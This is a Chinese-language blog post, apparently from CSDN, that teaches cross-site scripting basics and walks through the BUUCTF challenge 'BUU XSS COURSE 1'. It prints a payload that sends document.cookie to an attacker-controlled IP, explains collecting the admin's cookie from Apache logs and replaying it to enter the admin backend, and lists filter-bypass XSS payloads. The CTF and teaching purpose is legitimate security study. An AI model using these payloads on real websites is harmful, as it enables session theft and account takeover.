XSS跨站脚本攻击(基础详解)

XSS简介

  • 跨站脚本攻击(Cross-Site Scripting, 简称XSS)
  • 当用户将恶意代码注入网页时,其他用户在浏览网页时就会受到影响
  • 攻击主要方向主要用于盗取cookie凭据,钓鱼攻击,流量指向等

原理分析

由于输出问题导致的js代码被识别执行

<?php 
echo $_GET['id'];
?>

//实验地址/test/xss.php?x=<script>alert(1)</script>
//js代码;<script>alert(1)</script> 调用执行
//漏洞产生原理:输出问题

在这里插入图片描述

XSS分类

XSS主要又分为三种,又如何区分它们,性质又是什么

反射型xss

  • 反射型xss又叫非持久型xss (一般具有一次性),交互的数据一般不会被存在数据库里面也就是一次性
  • 攻击者可以将恶意的XSS代码包含在URL漏洞,然后发送给用户

存储型xss

  • 存储型xss又称为持久型xss
  • 攻击脚本将永久储存到目标服务器的数据库或文件中,因此每次访问网页时都会触发xss漏洞
  • 漏洞一般存在于留言板,微博,论坛,博客等

DOM型xss

DOM的全称为Document Object Model,即文档对象模型,DOM通常用于代表在HTML、XHTML和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。

也可以理解为前端绕过,这里以pikachu靶场做演示:
在这里插入图片描述
随便输入字符并且提交,F12打开开发者模式,然后按Ctrl+Shift+C或点击如图的箭头,最后右键What do you see?
就可以看见前端代码显示了自己输入的内容,最后就可以尝试xss绕过
payload

cike_y'onclick="alert(1)"

在这里插入图片描述

但是DOM型在实战中比较鸡肋,能不能执行js代码主要考虑客户端浏览器的安全策略,需要受害者去配合,属于被动攻击

实战

实战题目为:BUU XSS COURSE 1
进入网站页面,可以看见可以提交吐槽内容
在这里插入图片描述
根据题目xss,可以尝试payload进行提交验证是否存在xss漏洞,最终使用如下payload验证成功

<img src=# οnerrοr=alert(2)>

在这里插入图片描述在这里插入图片描述

如何获取admin的Cookie?

前面提过存储型通常在留言板,由于吐槽管理员一定要定期去查看评论,当我们发送恶意js代码时候也将永久储存至目标网站的数据中,如果admin查看该页面时候(访问我们的恶意js代码页面时候),管理员就会以自己的凭据去执行恶意js代码
在这里插入图片描述

窃取cookie值的危害

  • 用户登录成功后,一般把登录凭证存储在cookie中
  • 如果cookie值被窃取,那么攻击者很能够直接利用令牌不用密码就登录账户。
  • 登录之后就可以尝试修改密码

云IP获取Cookie

有云ip也可以使用下面的payload获取admin的cookie,最后查看一下http的访问日志就好了

BUUCTF题目
[第三章][3.3.4 案例分析]BUU XSS COURSE 1
<img src=x onerror="(new Image()).src='http://xx.xx.xx.xx/a='+escape(document.cookie)">

在这里插入图片描述
我使用的是Apache服务器,查看日志内容最后的10条信息,找不到日志可以使用find命令进行查找,access.log是日志默认的文件名

find / -name access.log

在这里插入图片描述

钓鱼坐等管理员上钩(管理员查看吐槽时),我们查看日志内容最后的10条信息,tail -n 10 /var/log/apache2/access.log
在这里插入图片描述
117.21.200.166是admin的ip,http://web/backend/admin.php是管理员的后台地址,其中web是内网地址不用管,访问后台地址发现需要登录,使用admin的Cookie凭据进行越权访问
在这里插入图片描述
F12键,如图进行操作将admin的Cookie替换为自己的进行登录
在这里插入图片描述
成功获取flag,并且进入后台
在这里插入图片描述

XSS平台获取Cookie

xss平台搭建,一般如果为了防止果实被盗取,会使用自己搭建的xss平台,不过还是要云ip
推荐文章:

https://bbs.secgeeker.net/thread-1519-1-1.html

xss平台,我使用的是这个网址

https://xss.pt/

登录之后,如图进行操作
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
访问吐槽地址,将Payload中的{projectId}替换为自己的认证参数,然后进行提交

在这里插入图片描述
在这里插入图片描述
这时候钓鱼就好了,等(如果不行,就是平台问题)
在这里插入图片描述
最后进入admin的后台也不再重复讲述了,云IP获取Cookie已经讲解了

常用Payload

劫持流量实现恶意跳转

<script>window.location.href="https://www.baidu.com";</script>

窃取Cookie

<script>alert(document.cookie)</script>

XSS过滤

常用绕过
<scRipt>  //大小写绕过
<scri<script>pt> //双写
不使用script
<svg onload=alert(1)> 
<iframe src=javascript:alert(1)> 
<a onmouseover=alert(document.cookie)>xxs link</a> 
<a href=javascript:alert(1)>link</a> 
<img src=x onerror=alert(1)></img>
内嵌tab
<iframe src=java&#x09;script:alert(1)>   //防止javascrpt被过滤掉
Html实体编码绕过
<a href=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>link</a>

也可以不带分号

<a href=&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29>link</a>

总结

一次xss的备忘本,xss攻击有很多操作我都还没学会带入真正的实战,等实战成功我会再总结一篇

  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值